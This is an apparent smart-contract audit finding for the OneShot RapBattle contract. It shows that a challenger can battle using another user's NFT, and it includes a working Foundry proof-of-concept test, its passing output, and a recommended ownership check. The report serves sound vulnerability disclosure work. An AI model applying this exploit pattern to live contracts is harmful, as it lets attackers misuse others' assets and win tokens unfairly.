Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Challenger can use a random NFT to fight that is not their own NFT

Summary

https://github.com/Cyfrin/2024-02-one-shot/blob/47f820dfe0ffde32f5c713bbe112ab6566435bf7/src/RapBattle.sol#L54C5-L81C6

Vulnerability Details

This vulnerability exists in the _battle function of RapBattle.sol contract. The challenger (the second fighter) when call goOnStageOrBattle function, they can go on the battle without depositing their NFT. Therefore, in the _battle function, there isn't also any proper check on if they use their own NFT.

Impact

This could make somebody use other's NFT that they don't have any permission to use it. Therefore, they could use the NFT with the "good strength" (the one with the highest skill score) to increase their chance of winning.

Proof of Concept

Working Test Cases

I use some of the pre-setup of the default test of this codebase.

contract RapBattleTest is Test {
RapBattle rapBattle;
OneShot oneShot;
Streets streets;
Credibility cred;
IOneShot.RapperStats stats;
address defender;
address challenger_cheater;
function setUp() public {
oneShot = new OneShot();
cred = new Credibility();
streets = new Streets(address(oneShot), address(cred));
rapBattle = new RapBattle(address(oneShot), address(cred));
defender = makeAddr("Alice");
challenger_cheater = makeAddr("Slim Shady");
oneShot.setStreetsContract(address(streets));
cred.setStreetsContract(address(streets));
}
modifier mintRapper() {
vm.prank(defender);
oneShot.mintRapper();
_;
}
}

This is the test to prove that the cheater can use the NFT that is not their own one.

function testChallengerHaveToUseTheirOwnNFT() public mintRapper{
// Mint token for both of defender and challenger
// to go on battle with positive bet
vm.prank(address(streets));
cred.mint(defender, 1);
vm.prank(address(streets));
cred.mint(challenger_cheater, 1);
console.log("Balance of defender before battle: ", cred.balanceOf(defender));
console.log("Balance of challenger (also cheater) before battle: ", cred.balanceOf(challenger_cheater));
// Mint and stake NFT with "DucAnh" is the owner (id = 1)
vm.startPrank(makeAddr("DucAnh"));
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
vm.warp(10 days);
vm.startPrank(makeAddr("DucAnh"));
streets.unstake(1);
vm.stopPrank();
///////////////////////////////////////////////////////////////
///// Defender go on battle
vm.startPrank(defender);
cred.approve(address(rapBattle), 1);
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, 1);
vm.stopPrank();
///////////////////////////////////////////////////////////////
///// Cheater go on battle
vm.startPrank(challenger_cheater);
cred.approve(address(rapBattle), 1);
rapBattle.goOnStageOrBattle(1, 1);
vm.stopPrank();
console.log("DucAnh's address is: ", makeAddr("DucAnh"));
console.log("Owner of NFT with id = 1 is: ", oneShot.ownerOf(1));
console.log("Address of cheater is: ", challenger_cheater);
console.log("DucAnh's address is: ", makeAddr("DucAnh"));
console.log("Owner of NFT with id = 1 is: ", oneShot.ownerOf(1));
console.log("Address of cheater is: ", challenger_cheater);
console.log("Balance of defender after battle: ", cred.balanceOf(defender));
console.log("Balance of challenger (also cheater) before battle: ", cred.balanceOf(challenger_cheater));
}

Here is the result

[⠢] Compiling...
[⠑] Compiling 1 files with 0.8.21
[⠘] Solc 0.8.21 finished in 1.46s
Compiler run successful!
Running 1 test for test/MyOwnTest.t.sol:RapBattleTest
[PASS] testChallengerHaveToUseTheirOwnNFT() (gas: 551348)
Logs:
Balance of defender before battle: 1
Balance of challenger (also cheater) before battle: 1
DucAnh's address is: 0xAB396Ee46D5697f2D3fb0640274ACa74d7A92476
Owner of NFT with id = 1 is: 0xAB396Ee46D5697f2D3fb0640274ACa74d7A92476
Address of cheater is: 0x2c0169543641108F2d2c34489DBDab1A54cF59b2
DucAnh's address is: 0xAB396Ee46D5697f2D3fb0640274ACa74d7A92476
Owner of NFT with id = 1 is: 0xAB396Ee46D5697f2D3fb0640274ACa74d7A92476
Address of cheater is: 0x2c0169543641108F2d2c34489DBDab1A54cF59b2
Balance of defender after battle: 0
Balance of challenger (also cheater) before battle: 2
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.69ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

As we can see, there is no revert and the cheater can use DucAnh's NFT and win the battle.

Tools Used

Foundry

Recommendations

You have to check if the NFT tokenId belongs to the challenger first before fighting.

+ error RapBattle__NotTokenOwner();
...
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ if (oneShotNft.ownerOf(_tokenId) != msg.sender){
+ revert RapBattle__NotTokenOwner();
+ }
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.